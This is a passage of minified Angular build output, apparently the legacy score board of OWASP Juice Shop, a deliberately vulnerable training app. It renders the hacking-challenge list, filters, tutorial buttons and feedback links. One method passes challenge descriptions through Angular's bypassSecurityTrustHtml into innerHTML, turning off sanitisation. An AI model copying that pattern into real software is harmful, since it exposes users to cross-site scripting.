e=t.oxw();t.Q6J("checked",e.showOnlyTutorialChallenges)("disabled",e.restrictToTutorialsFirst&&!e.allTutorialsCompleted)("matTooltip",e.restrictToTutorialsFirst&&!e.allTutorialsCompleted?t.xi3(1,4,"INFO_FULL_CHALLENGE_MODE",t.VKq(9,Tt,e.challenges.length)):""),t.xp6(4),t.hij(" ",t.lcZ(5,7,"BTN_SHOW_ONLY_TUTORIALS")," ")}}function Vi(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"mat-button-toggle",9),t.NdJ("change",function(){t.CHM(e);const i=t.oxw();return t.KtG(i.toggleShowDisabledChallenges())}),t.ALo(1,"translate"),t._UZ(2,"i",36),t._uU(3),t.ALo(4,"translate"),t.qZA()}if(2&n){const e=t.oxw();t.Q6J("checked",e.showDisabledChallenges)("disabled",e.restrictToTutorialsFirst&&!e.allTutorialsCompleted)("matTooltip",e.restrictToTutorialsFirst&&!e.allTutorialsCompleted?t.xi3(1,4,"INFO_FULL_CHALLENGE_MODE",t.VKq(9,Tt,e.challenges.length)):""),t.xp6(3),t.hij(" ",t.lcZ(4,7,"BTN_SHOW_UNAVAILABLE")," ")}}function Xi(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"button",37),t.NdJ("click",function(){t.CHM(e);const i=t.oxw();return t.KtG(i.saveBackup())}),t.ALo(1,"translate"),t.TgZ(2,"mat-icon"),t._uU(3," save_alt "),t.qZA()()}2&n&&t.s9C("matTooltip",t.lcZ(1,1,"SAVE_BACKUP_TOOLTIP"))}function tr(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"button",38),t.NdJ("click",function(){t.CHM(e),t.oxw();const i=t.MAs(26);return t.KtG(i.click())}),t.ALo(1,"translate"),t.TgZ(2,"mat-icon"),t._uU(3," settings_backup_restore "),t.qZA()()}2&n&&t.s9C("matTooltip",t.lcZ(1,1,"RESTORE_BACKUP_TOOLTIP"))}const er=function(n,a){return{num:n,env:a}};function nr(n,a){if(1&n&&(t._UZ(0,"div",39),t.ALo(1,"translate")),2&n){const e=t.oxw();t.Q6J("innerHTML",t.xi3(1,1,"INFO_DISABLED_CHALLENGES",t.WLB(4,er,e.numDisabledChallenges,e.disabledEnv)),t.oJD)}}function or(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"mat-button-toggle",40),t.NdJ("change",function(){const r=t.CHM(e).$implicit,l=t.oxw();return t.KtG(l.toggleShowChallengeCategory(r))}),t.ALo(1,"translate"),t.ALo(2,"translate"),t._uU(3),t.ALo(4,"translate"),t.qZA()}if(2&n){const e=a.$implicit,o=t.oxw();t.Q6J("checked",o.displayedChallengeCategories.includes(e))("disabled",o.restrictToTutorialsFirst&&!o.allTutorialsCompleted)("matTooltip",o.restrictToTutorialsFirst&&!o.allTutorialsCompleted?t.xi3(1,4,"INFO_FULL_CHALLENGE_MODE",t.VKq(11,Tt,o.challenges.length)):t.lcZ(2,7,"CATEGORY_"+(null==e?null:e.toUpperCase().split(" ").join("_"))+"_DESCRIPTION")),t.xp6(3),t.hij(" ",t.lcZ(4,9,"CATEGORY_"+(null==e?null:e.toUpperCase().split(" ").join("_")))," ")}}function ar(n,a){1&n&&(t.TgZ(0,"mat-header-cell",62),t._uU(1,"LABEL_NAME"),t.qZA())}function ir(n,a){if(1&n&&(t.TgZ(0,"mat-cell",63),t._uU(1),t.qZA()),2&n){const e=a.$implicit;t.Q6J("id",e.name),t.xp6(1),t.hij(" ",e.name," ")}}function rr(n,a){1&n&&(t.TgZ(0,"mat-header-cell",64),t._uU(1,"LABEL_DIFFICULTY"),t.qZA())}function sr(n,a){1&n&&(t.TgZ(0,"mat-icon"),t._uU(1," star_rate "),t.qZA())}function lr(n,a){if(1&n&&(t.TgZ(0,"mat-cell",65),t.YNc(1,sr,2,0,"mat-icon",66),t.qZA()),2&n){const e=a.$implicit,o=t.oxw(2);t.xp6(1),t.Q6J("ngForOf",o.times(e.difficulty))}}function cr(n,a){1&n&&(t.TgZ(0,"mat-header-cell",67),t._uU(1,"LABEL_DESCRIPTION "),t.qZA())}function ur(n,a){if(1&n&&(t.TgZ(0,"mat-cell",68),t._UZ(1,"div",69),t.qZA()),2&n){const e=a.$implicit;t.xp6(1),t.Q6J("innerHTML",e.description,t.oJD)}}function pr(n,a){1&n&&(t.TgZ(0,"mat-header-cell",70),t._uU(1,"LABEL_CATEGORY"),t.qZA())}function dr(n,a){if(1&n&&(t.TgZ(0,"mat-cell",71),t._uU(1),t.ALo(2,"translate"),t.qZA()),2&n){const e=a.$implicit;t.xp6(1),t.hij(" ",t.lcZ(2,1,"CATEGORY_"+(null==e.category?null:e.category.toUpperCase().split(" ").join("_")))," ")}}function mr(n,a){1&n&&(t.TgZ(0,"mat-header-cell",72),t._uU(1,"LABEL_TAGS"),t.qZA())}function gr(n,a){if(1&n&&(t.TgZ(0,"mat-chip-list")(1,"mat-chip",74),t.ALo(2,"translate"),t._uU(3),t.ALo(4,"translate"),t.qZA()()),2&n){const e=a.$implicit;t.xp6(1),t.Q6J("matTooltip",t.lcZ(2,2,"TAG_"+(null==e?null:e.toUpperCase().split(" ").join("_"))+"_DESCRIPTION")),t.xp6(2),t.hij(" ",t.lcZ(4,4,"TAG_"+(null==e?null:e.toUpperCase().split(" ").join("_")))," ")}}function hr(n,a){if(1&n&&(t.TgZ(0,"span"),t.YNc(1,gr,5,6,"mat-chip-list",66),t.qZA()),2&n){const e=t.oxw().$implicit;t.xp6(1),t.Q6J("ngForOf",e.tags.split(",").sort())}}function _r(n,a){if(1&n&&(t.TgZ(0,"mat-cell",73),t.YNc(1,hr,2,1,"span",5),t.qZA()),2&n){const e=a.$implicit;t.xp6(1),t.Q6J("ngIf",e.tags)}}function fr(n,a){1&n&&(t.TgZ(0,"mat-header-cell",62),t._uU(1,"LABEL_STATUS"),t.qZA())}function Cr(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"button",81),t.NdJ("click",function(){t.CHM(e);const i=t.oxw().$implicit,r=t.oxw(2);return t.KtG(r.startHackingInstructor(i.name))}),t.ALo(1,"translate"),t.TgZ(2,"mat-icon"),t._uU(3," school "),t.qZA()()}2&n&&t.Q6J("matTooltip",t.lcZ(1,1,"INFO_HACKING_INSTRUCTOR"))}function vr(n,a){if(1&n&&(t.TgZ(0,"a",82)(1,"button",83),t.ALo(2,"translate"),t.TgZ(3,"mat-icon"),t._uU(4," policy "),t.qZA()()()),2&n){const e=t.oxw().$implicit;t.Q6J("href",e.mitigationUrl,t.LSH),t.xp6(1),t.Q6J("matTooltip",t.lcZ(2,2,"INFO_VULNERABILITY_MITIGATION_LINK"))}}function xr(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"button",84),t.NdJ("click",function(){t.CHM(e);const i=t.oxw().$implicit,r=t.oxw(2);return t.KtG(r.showCodeSnippet(i.key,i.name,i.codingChallengeStatus))}),t.ALo(1,"translate"),t.TgZ(2,"mat-icon",85),t._uU(3," code "),t.qZA()()}if(2&n){const e=t.oxw().$implicit,o=t.oxw(2);t.Q6J("disabled","solved"===o.codingChallengesEnabled&&!e.solved)("matTooltip",t.lcZ(1,5,"LAUNCH_CODING_CHALLENGE"))("color",o.generateColor(e))("id",e.name+".codingChallengeButton"),t.xp6(2),t.Q6J("matBadge",o.generateBadge(e))}}function br(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"button",86),t.NdJ("click",function(){t.CHM(e);const i=t.oxw(3);return t.KtG(i.startHackingInstructor("Coding Challenges"))}),t.ALo(1,"translate"),t.TgZ(2,"mat-icon",87),t._uU(3," school "),t.qZA()()}2&n&&t.Q6J("matTooltip",t.lcZ(1,1,"INFO_HACKING_INSTRUCTOR"))}function Tr(n,a){if(1&n&&(t.TgZ(0,"mat-cell"),t._UZ(1,"app-challenge-status-badge",75),t.YNc(2,Cr,4,3,"button",76),t.YNc(3,vr,5,4,"a",77),t.TgZ(4,"div",78),t.ALo(5,"translate"),t.YNc(6,xr,4,7,"button",79),t.qZA(),t.YNc(7,br,4,3,"button",80),t.qZA()),2&n){const e=a.$implicit,o=t.oxw(2);t.xp6(1),t.Q6J("challenge",e)("allowRepeatNotifications",o.allowRepeatNotifications)("showChallengeHints",o.showChallengeHints),t.xp6(1),t.Q6J("ngIf",o.showHackingInstructor&&!e.solved&&!e.disabledEnv&&e.hasTutorial),t.xp6(1),t.Q6J("ngIf",o.showVulnerabilityMitigations&&e.solved&&e.mitigationUrl),t.xp6(1),t.Q6J("matTooltip",t.lcZ(5,9,"SOLVE_HACKING_CHALLENGE"))("matTooltipDisabled",!e.hasSnippet||"solved"===o.codingChallengesEnabled&&e.solved||"always"===o.codingChallengesEnabled),t.xp6(2),t.Q6J("ngIf",e.hasSnippet&&"never"!==o.codingChallengesEnabled),t.xp6(1),t.Q6J("ngIf","scoreBoardChallenge"===e.key&&o.showHackingInstructor&&e.solved&&"never"!==o.codingChallengesEnabled&&e.codingChallengeStatus<1)}}function Ar(n,a){1&n&&(t.TgZ(0,"mat-header-cell",91),t._uU(1,"LABEL_FEEDBACK"),t.qZA())}function yr(n,a){if(1&n&&(t.TgZ(0,"a",82)(1,"button",93)(2,"mat-icon",94),t._uU(3,"thumb_up"),t.qZA()()()),2&n){const e=t.oxw().$implicit;t.Q6J("href","https://docs.google.com/forms/d/e/1FAIpQLSdaNEuz0dzFA2sexCa0AJ4QOb2OYdEL04eQOLFD2Y4T-BW6ag/viewform?usp=pp_url&entry.384948954="+e.name+"&entry.435235279=Hacking+Challenge&entry.1734944650=Yes",t.LSH)}}function Zr(n,a){if(1&n&&(t.TgZ(0,"a",82)(1,"button",93)(2,"mat-icon",95),t._uU(3,"thumb_down"),t.qZA()()()),2&n){const e=t.oxw().$implicit;t.Q6J("href","https://docs.google.com/forms/d/e/1FAIpQLSdaNEuz0dzFA2sexCa0AJ4QOb2OYdEL04eQOLFD2Y4T-BW6ag/viewform?usp=pp_url&entry.384948954="+e.name+"&entry.435235279=Hacking+Challenge&entry.1734944650=No",t.LSH)}}function wr(n,a){if(1&n&&(t.TgZ(0,"mat-cell",92),t.YNc(1,yr,4,1,"a",77),t.YNc(2,Zr,4,1,"a",77),t.qZA()),2&n){const e=a.$implicit;t.xp6(1),t.Q6J("ngIf",e.solved),t.xp6(1),t.Q6J("ngIf",e.solved)}}function Sr(n,a){1&n&&(t.ynx(0,88),t.YNc(1,Ar,2,0,"mat-header-cell",89),t.YNc(2,wr,3,2,"mat-cell",90),t.BQk())}function kr(n,a){1&n&&t._UZ(0,"mat-header-row")}function Ir(n,a){1&n&&t._UZ(0,"mat-row")}function Or(n,a){if(1&n&&(t.TgZ(0,"mat-table",41),t.ynx(1,42),t.YNc(2,ar,2,0,"mat-header-cell",43),t.YNc(3,ir,2,2,"mat-cell",44),t.BQk(),t.ynx(4,45),t.YNc(5,rr,2,0,"mat-header-cell",46),t.YNc(6,lr,2,1,"mat-cell",47),t.BQk(),t.ynx(7,48),t.YNc(8,cr,2,0,"mat-header-cell",49),t.YNc(9,ur,2,1,"mat-cell",50),t.BQk(),t.ynx(10,51),t.YNc(11,pr,2,0,"mat-header-cell",52),t.YNc(12,dr,3,3,"mat-cell",53),t.BQk(),t.ynx(13,54),t.YNc(14,mr,2,0,"mat-header-cell",55),t.YNc(15,_r,2,1,"mat-cell",56),t.BQk(),t.ynx(16,57),t.YNc(17,fr,2,0,"mat-header-cell",43),t.YNc(18,Tr,8,11,"mat-cell",58),t.BQk(),t.YNc(19,Sr,3,0,"ng-container",59),t.YNc(20,kr,1,0,"mat-header-row",60),t.YNc(21,Ir,1,0,"mat-row",61),t.qZA()),2&n){const e=t.oxw();t.Q6J("dataSource",e.filterToDataSource(e.challenges))("trackBy",e.trackById),t.xp6(19),t.Q6J("ngIf",e.showFeedbackButtons),t.xp6(1),t.Q6J("matHeaderRowDef",e.displayedColumns),t.xp6(1),t.Q6J("matRowDefColumns",e.displayedColumns)}}function Ur(n,a){1&n&&(t._UZ(0,"mat-card",100),t.ALo(1,"translate")),2&n&&t.Q6J("innerHTML",t.lcZ(1,1,"CALL_FOR_CONTRIBUTIONS"),t.oJD)}const Lr=function(n,a){return{appname:n,questionnaire:a}};function Pr(n,a){if(1&n&&(t._UZ(0,"mat-card",101),t.ALo(1,"translate")),2&n){const e=t.oxw(2);t.Q6J("innerHTML",t.xi3(1,1,"CALL_FOR_FEEDBACK",t.WLB(4,Lr,e.appName,e.questionnaireUrl)),t.oJD)}}function Nr(n,a){if(1&n&&(t.TgZ(0,"div",96),t.YNc(1,Ur,2,3,"mat-card",97),t._UZ(2,"span",98),t.YNc(3,Pr,2,7,"mat-card",99),t.qZA()),2&n){const e=t.oxw();t.xp6(1),t.Q6J("ngIf",e.showContributionInfoBox),t.xp6(2),t.Q6J("ngIf",e.questionnaireUrl)}}O.vI.add(g.Tab,D.fG,Z.hV2,Z.zhw,Z.g7i,g.kWN,g.Mm7);let Er=(()=>{class n{constructor(e,o,i,r,l,m,v,A,q,Y,dt){this.configurationService=e,this.challengeService=o,this.codeSnippetService=i,this.sanitizer=r,this.ngZone=l,this.io=m,this.spinner=v,this.translate=A,this.localBackupService=q,this.dialog=Y,this.route=dt,this.availableDifficulties=[1,2,3,4,5,6],this.displayedDifficulties=[1],this.availableChallengeCategories=[],this.displayedChallengeCategories=[],this.toggledMajorityOfDifficulties=!1,this.toggledMajorityOfCategories=!0,this.showSolvedChallenges=!0,this.numDisabledChallenges=0,this.showDisabledChallenges=!1,this.showOnlyTutorialChallenges=!1,this.restrictToTutorialsFirst=!1,this.allTutorialsCompleted=!1,this.isLastTutorialsTier=!1,this.tutorialsTier=1,this.displayedColumns=["name","difficulty","description","category","tags","status"],this.offsetValue=["100%","100%","100%","100%","100%","100%"],this.allowRepeatNotifications=!1,this.showChallengeHints=!0,this.showVulnerabilityMitigations=!0,this.codingChallengesEnabled="solved",this.showHackingInstructor=!0,this.challenges=[],this.percentChallengesSolved="0",this.percentCodingChallengesSolved="0",this.solvedChallengesOfDifficulty=[[],[],[],[],[],[]],this.totalChallengesOfDifficulty=[[],[],[],[],[],[]],this.showContributionInfoBox=!0,this.questionnaireUrl="https://forms.gle/2Tr5m1pqnnesApxN8",this.appName="OWASP Juice Shop",this.localBackupEnabled=!0,this.showFeedbackButtons=!0}ngAfterViewInit(){const e=this.route.snapshot.queryParams.challenge;if(e)if(document.getElementById(e))this.scrollToChallenge(e);else{const i=new MutationObserver(r=>{for(const l of r)"childList"===l.type&&document.getElementById(e)&&(this.scrollToChallenge(e),i.disconnect())});i.observe(document.body,{childList:!0,subtree:!0})}}ngOnInit(){this.spinner.show(),this.displayedDifficulties=localStorage.getItem("displayedDifficulties")?JSON.parse(String(localStorage.getItem("displayedDifficulties"))):[1],this.showSolvedChallenges=!localStorage.getItem("showSolvedChallenges")||JSON.parse(String(localStorage.getItem("showSolvedChallenges"))),this.showDisabledChallenges=!!localStorage.getItem("showDisabledChallenges")&&JSON.parse(String(localStorage.getItem("showDisabledChallenges"))),this.configurationService.getApplicationConfiguration().subscribe(e=>{this.allowRepeatNotifications=e.challenges.showSolvedNotifications&&e.ctf?.showFlagsInNotifications,this.showChallengeHints=e.challenges.showHints,this.showVulnerabilityMitigations=e.challenges.showMitigations,this.codingChallengesEnabled=e.challenges.codingChallengesEnabled,this.showHackingInstructor=e.hackingInstructor?.isEnabled,this.showContributionInfoBox=e.application.showGitHubLinks,this.showFeedbackButtons=e.challenges.showFeedbackButtons,this.showFeedbackButtons&&this.displayedColumns.push("feedback"),this.questionnaireUrl=e.application.social?.questionnaireUrl,this.appName=e.application.name,this.restrictToTutorialsFirst=e.challenges.restrictToTutorialsFirst,this.showOnlyTutorialChallenges=localStorage.getItem("showOnlyTutorialChallenges")?JSON.parse(String(localStorage.getItem("showOnlyTutorialChallenges"))):this.restrictToTutorialsFirst,this.localBackupEnabled=e.application.localBackupEnabled,this.challengeService.find({sort:"name"}).subscribe(o=>{this.codeSnippetService.challenges().subscribe(i=>{this.challenges=o;for(let r=0;r<this.challenges.length;r++)this.augmentHintText(this.challenges[r]),this.trustDescriptionHtml(this.challenges[r]),"Score Board"===this.challenges[r].name&&(this.challenges[r].solved=!0),this.availableChallengeCategories.includes(o[r].category)||this.availableChallengeCategories.push(o[r].category),this.showHackingInstructor&&Promise.resolve().then(c.bind(c,1096)).then(l=>{o[r].hasTutorial=l.hasInstructions(o[r].name)}),o[r].hasSnippet=i.includes(o[r].key);this.availableChallengeCategories.sort((r,l)=>r.localeCompare(l)),this.displayedChallengeCategories=localStorage.getItem("displayedChallengeCategories")?JSON.parse(String(localStorage.getItem("displayedChallengeCategories"))):this.availableChallengeCategories,this.calculateProgressPercentage(),this.calculateCodingProgressPercentage(),this.populateFilteredChallengeLists(),this.calculateGradientOffsets(o),this.calculateTutorialTier(o),this.toggledMajorityOfDifficulties=this.determineToggledMajorityOfDifficulties(),this.toggledMajorityOfCategories=this.determineToggledMajorityOfCategories(),this.showOnlyTutorialChallenges&&this.challenges.sort((r,l)=>r.tutorialOrder-l.tutorialOrder),this.spinner.hide()})},o=>{this.challenges=[],console.log(o)})},e=>{console.log(e)}),this.ngZone.runOutsideAngular(()=>{this.io.socket().on("challenge solved",e=>{if(e?.challenge){for(let o=0;o<this.challenges.length;o++)if(this.challenges[o].name===e.name){this.challenges[o].solved=!0;break}this.calculateProgressPercentage(),this.populateFilteredChallengeLists(),this.calculateGradientOffsets(this.challenges),this.calculateTutorialTier(this.challenges)}})})}scrollToChallenge(e){const o=document.getElementById(e);o?(console.log(`Scrolling to challenge: ${e}`),o.scrollIntoView({behavior:"smooth"})):console.log(`Challenge ${e} is not visible!`)}augmentHintText(e){e.disabledEnv?(this.numDisabledChallenges++,this.disabledEnv=e.disabledEnv,this.translate.get("CHALLENGE_UNAVAILABLE",{env:e.disabledEnv}).subscribe(o=>{e.hint=o},o=>{e.hint=o})):e.hintUrl&&(e.hint?this.translate.get("CLICK_FOR_MORE_HINTS").subscribe(o=>{e.hint=`${e.hint} ${o}`},o=>{e.hint=`${e.hint} ${o}`}):this.translate.get("CLICK_TO_OPEN_HINTS").subscribe(o=>{e.hint=o},o=>{e.hint=o}))}trustDescriptionHtml(e){e.description=this.sanitizer.bypassSecurityTrustHtml(e.description)}calculateCodingProgressPercentage(){let e=0,o=0;for(let i=0;i<this.challenges.length;i++)this.challenges[i].hasSnippet&&(e++,o+=this.challenges[i].codingChallengeStatus);this.percentCodingChallengesSolved=(100*o/(2*e)).toFixed(0)}calculateProgressPercentage(){let e=0;for(let o=0;o<this.challenges.length;o++)e+=this.challenges[o].solved?1:0;this.percentChallengesSolved=(100*e/this.challenges.length).toFixed(0)}calculateTutorialTier(e){this.allTutorialsCompleted=!0,this.isLastTutorialsTier=!0,this.tutorialsTier=1;for(let o=1;o<=6;o++){const i=e.filter(l=>l.tutorialOrder&&l.difficulty===o).length,r=e.filter(l=>l.tutorialOrder&&l.difficulty===o&&l.solved).length;this.allTutorialsCompleted=this.allTutorialsCompleted&&i===r,this.tutorialsTier===o&&i===r&&this.tutorialsTier++}if(!this.allTutorialsCompleted){this.isLastTutorialsTier=0===e.filter(o=>o.tutorialOrder&&!o.solved&&o.difficulty>this.tutorialsTier).length;for(let o=1;o<=this.tutorialsTier;o++)this.displayedDifficulties.includes(o)||this.toggleDifficulty(this.tutorialsTier)}}calculateGradientOffsets(e){for(let o=1;o<=6;o++)this.offsetValue[o-1]=this.calculateGradientOffset(e,o)}calculateGradientOffset(e,o){let i=0,r=0;for(let m=0;m<e.length;m++)e[m].difficulty===o&&(r++,e[m].solved&&i++);let l=Math.round(100*i/r);return l=100-l,+l+"%"}toggleDifficulty(e){this.displayedDifficulties.includes(e)?this.displayedDifficulties=this.displayedDifficulties.filter(o=>o!==e):this.displayedDifficulties.push(e),localStorage.setItem("displayedDifficulties",JSON.stringify(this.displayedDifficulties)),this.toggledMajorityOfDifficulties=this.determineToggledMajorityOfDifficulties()}toggleAllDifficulty(){this.toggledMajorityOfDifficulties?(this.displayedDifficulties=[],this.toggledMajorityOfDifficulties=!1):(this.displayedDifficulties=this.availableDifficulties,this.toggledMajorityOfDifficulties=!0),localStorage.setItem("displayedDifficulties",JSON.stringify(this.displayedDifficulties))}toggleShowSolvedChallenges(){this.showSolvedChallenges=!this.showSolvedChallenges,localStorage.setItem("showSolvedChallenges",JSON.stringify(this.showSolvedChallenges))}toggleShowDisabledChallenges(){this.showDisabledChallenges=!this.showDisabledChallenges,localStorage.setItem("showDisabledChallenges",JSON.stringify(this.showDisabledChallenges))}toggleShowOnlyTutorialChallenges(){this.showOnlyTutorialChallenges=!this.showOnlyTutorialChallenges,localStorage.setItem("showOnlyTutorialChallenges",JSON.stringify(this.showOnlyTutorialChallenges)),this.challenges.sort(this.showOnlyTutorialChallenges?(e,o)=>e.tutorialOrder-o.tutorialOrder:(e,o)=>e.name<o.name?-1:e.name>o.name?1:0)}toggleShowChallengeCategory(e){this.displayedChallengeCategories.includes(e)?this.displayedChallengeCategories=this.displayedChallengeCategories.filter(o=>o!==e):this.displayedChallengeCategories.push(e),localStorage.setItem("displayedChallengeCategories",JSON.stringify(this.displayedChallengeCategories)),this.toggledMajorityOfCategories=this.determineToggledMajorityOfCategories()}toggleAllChallengeCategory(){this.toggledMajorityOfCategories?(this.displayedChallengeCategories=[],this.toggledMajorityOfCategories=!1):(this.displayedChallengeCategories=this.availableChallengeCategories,this.toggledMajorityOfCategories=!0),localStorage.setItem("displayedChallengeCategories",JSON.stringify(this.displayedChallengeCategories))}determineToggledMajorityOfDifficulties(){return this.displayedDifficulties.length>this.availableDifficulties.length/2}determineToggledMajorityOfCategories(){return this.displayedChallengeCategories.length>this.availableChallengeCategories.length/2}filterToDataSource(e){e=e.filter(i=>!(!this.displayedDifficulties.includes(i.difficulty)||!this.displayedChallengeCategories.includes(i.category)||!this.showSolvedChallenges&&i.solved||!this.showDisabledChallenges&&i.disabledEnv||this.showOnlyTutorialChallenges&&!i.hasTutorial));const o=new d.by;return o.data=e,o}populateFilteredChallengeLists(){for(const e of this.availableDifficulties)0===this.challenges.length?(this.totalChallengesOfDifficulty[e-1]=[],this.solvedChallengesOfDifficulty[e-1]=[]):(this.totalChallengesOfDifficulty[e-1]=this.challenges.filter(o=>o.difficulty===e),this.solvedChallengesOfDifficulty[e-1]=this.challenges.filter(o=>o.difficulty===e&&o.solved))}startHackingInstructor(e){console.log(`Starting instructions for challenge "${e}"`),Promise.resolve().then(c.bind(c,1096)).then(o=>{o.startHackingInstructorFor(e)})}trackById(e,o){return o.id}times(e){return Array(e).fill("\\u2605")}saveBackup(){this.localBackupService.save(this.appName.toLowerCase().replace(/ /,"_"))}restoreBackup(e){this.localBackupService.restore(e)}showCodeSnippet(e,o,i){this.dialog.open(Ne,{disableClose:!0,data:{key:e,name:o,codingChallengeStatus:i}}).afterClosed().subscribe(l=>{for(const m of this.challenges)m.name===o&&(m.codingChallengeStatus<1&&(m.codingChallengeStatus=l.findIt?1:m.codingChallengeStatus),m.codingChallengeStatus<2&&(m.codingChallengeStatus=l.fixIt?2:m.codingChallengeStatus),this.calculateCodingProgressPercentage())})}generateColor(e){return 2===e.codingChallengeStatus?"accent":"primary"}generateBadge(e){return 1===e.codingChallengeStatus?"1/2":""}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(b.e),t.Y36(ot),t.Y36(ne),t.Y36(k.H7),t.Y36(t.R0b),t.Y36(st),t.Y36(ae.t2),t.Y36(u.sK),t.Y36(Le),t.Y36(N.uw),t.Y36(U.gz))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-score-board-legacy"]],decls:46,vars:41,consts:[["fxLayout","column"],["fxLayout","row","fxLayout.lt-md","column"],["fxFlex","grow"],[1,"confirmation"],["mode","determinate",3,"color","value"],[4,"ngIf"],["fxLayout","row wrap",1,"star-container"],["matTooltipPosition","above",3,"checked","disabled","matTooltip","change",4,"ngFor","ngForOf"],["id","btnToggleAllDifficulties",1,"mat-button",3,"disabled","click"],["matTooltipPosition","above",3,"checked","disabled","matTooltip","change"],["aria-hidden","true",1,"fa-2x","fas","fa-trophy"],["id","btnToggleShowOnlyTutorialChallenges","matTooltipPosition","above",3,"checked","disabled","matTooltip","change",4,"ngIf"],["matTooltipPosition","above",3,"checked","disabled","matTooltip","change",4,"ngIf"],["mat-fab","","class","backupButton","color","primary","aria-label","Button to save local backup","matTooltipPosition","above",3,"matTooltip","click",4,"ngIf"],[1,"form-group"],["type","file",2,"display","none",3,"change"],["restoreBackupFile",""],["mat-fab","","class","backupButton","color","primary","aria-label","Button to restore local backup","matTooltipPosition","above",3,"matTooltip","click",4,"ngIf"],["class","disabled-challenges-infoBox mat-button",3,"innerHTML",4,"ngIf"],["fxLayout","row wrap",1,"category-container"],["class","category-toggle","appearance","legacy","matTooltipPosition","above",3,"checked","disabled","matTooltip","change",4,"ngFor","ngForOf"],[1,"mat-button",3,"disabled","click"],[1,"new-score-board-ad"],["mat-button","","routerLink","/score-board"],[3,"dataSource","trackBy",4,"ngIf"],["fxLayout","row","fxLayout.lt-lg","column",4,"ngIf"],["src","assets/public/images/padding/1px.png"],["fullscreen","true","type","timer","size","large"],[1,"fa-4x","fa-layers","fa-fw",2,"display","block","margin","5px"],["aria-hidden","true","data-prefix","fa","data-icon","star","role","img","xmlns","http://www.w3.org/2000/svg","viewBox","0 0 576 512","data-fa-i2svg","","stroke-width","10",1,"svg-inline--fa","fa-star","fa-w-18","star-border"],["x1","0","x2","0","y1","0","y2","100%",3,"id"],[1,"empty-star"],[1,"filled-star"],["d","M259.3 17.8L194 150.2 47.9 171.5c-26.2 3.8-36.7 36.1-17.7 54.6l105.7 103-25 145.5c-4.5 26.3 23.2 46 46.4 33.7L288 439.6l130.7 68.7c23.2 12.2 50.9-7.4 46.4-33.7l-25-145.5 105.7-103c19-18.5 8.5-50.8-17.7-54.6L382 150.2 316.7 17.8c-11.7-23.6-45.6-23.9-57.4 0z"],["data-fa-transform","shrink-9",1,"fa-layers-text","fa-inverse",2,"font-weight","900"],["id","btnToggleShowOnlyTutorialChallenges","matTooltipPosition","above",3,"checked","disabled","matTooltip","change"],["aria-hidden","true",1,"fa-2x","fas","fa-exclamation-circle"],["mat-fab","","color","primary","aria-label","Button to save local backup","matTooltipPosition","above",1,"backupButton",3,"matTooltip","click"],["mat-fab","","color","primary","aria-label","Button to restore local backup","matTooltipPosition","above",1,"backupButton",3,"matTooltip","click"],[1,"disabled-challenges-infoBox","mat-button",3,"innerHTML"],["appearance","legacy","matTooltipPosition","above",1,"category-toggle",3,"checked","disabled","matTooltip","change"],[3,"dataSource","trackBy"],["matColumnDef","name"],["translate","",4,"matHeaderCellDef"],[3,"id",4,"matCellDef"],["matColumnDef","difficulty"],["fxShow","","fxHide.lt-sm","","translate","",4,"matHeaderCellDef"],["fxShow","","fxHide.lt-sm","",4,"matCellDef"],["matColumnDef","description"],["fxFlex","1 1 31%","translate","",4,"matHeaderCellDef"],["fxFlex","1 1 31%",4,"matCellDef"],["matColumnDef","category"],["fxShow","","fxHide.lt-md","","translate","",4,"matHeaderCellDef"],["fxShow","","fxHide.lt-md","",4,"matCellDef"],["matColumnDef","tags"],["fxShow","","fxHide.lt-lg","","translate","",4,"matHeaderCellDef"],["fxShow","","fxHide.lt-lg","",4,"matCellDef"],["matColumnDef","status"],[4,"matCellDef"],["matColumnDef","feedback",4,"ngIf"],[4,"matHeaderRowDef"],[4,"matRowDef","matRowDefColumns"],["translate",""],[3,"id"],["fxShow","","fxHide.lt-sm","","translate",""],["fxShow","","fxHide.lt-sm",""],[4,"ngFor","ngForOf"],["fxFlex","1 1 31%","translate",""],["fxFlex","1 1 31%"],[3,"innerHTML"],["fxShow","","fxHide.lt-md","","translate",""],["fxShow","","fxHide.lt-md",""],["fxShow","","fxHide.lt-lg","","translate",""],["fxShow","","fxHide.lt-lg",""],[3,"matTooltip"],[3,"challenge","allowRepeatNotifications","showChallengeHints"],["mat-mini-fab","","color","warn","matTooltipPosition","above","class","hacking-instructor-button",3,"matTooltip","click",4,"ngIf"],["target","_blank",3,"href",4,"ngIf"],["matTooltipPosition","above",3,"matTooltip","matTooltipDisabled"],["mat-mini-fab","","matTooltipPosition","above","class","code-snippet-button",3,"disabled","matTooltip","color","id","click",4,"ngIf"],["mat-mini-fab","","color","warn","matTooltipPosition","above","class","code-snippet-button","id","codingChallengeTutorialButton",3,"matTooltip","click",4,"ngIf"],["mat-mini-fab","","color","warn","matTooltipPosition","above",1,"hacking-instructor-button",3,"matTooltip","click"],["target","_blank",3,"href"],["mat-mini-fab","","color","accent","matTooltipPosition","above",1,"vulnerability-mitigation-button",3,"matTooltip"],["mat-mini-fab","","matTooltipPosition","above",1,"code-snippet-button",3,"disabled","matTooltip","color","id","click"],["matBadgeSize","medium","matBadgePosition","right","matBadgeColor","accent",3,"matBadge"],["mat-mini-fab","","color","warn","matTooltipPosition","above","id","codingChallengeTutorialButton",1,"code-snippet-button",3,"matTooltip","click"],["matBadge","<>","matBadgeSize","small","matBadgePosition","right","matBadgeColor","primary"],["matColumnDef","feedback"],["fxShow","","fxHide.lt-xl","","fxFlex","1 1 5%","translate","",4,"matHeaderCellDef"],["fxShow","","fxHide.lt-xl","","fxFlex","1 1 5%",4,"matCellDef"],["fxShow","","fxHide.lt-xl","","fxFlex","1 1 5%","translate",""],["fxShow","","fxHide.lt-xl","","fxFlex","1 1 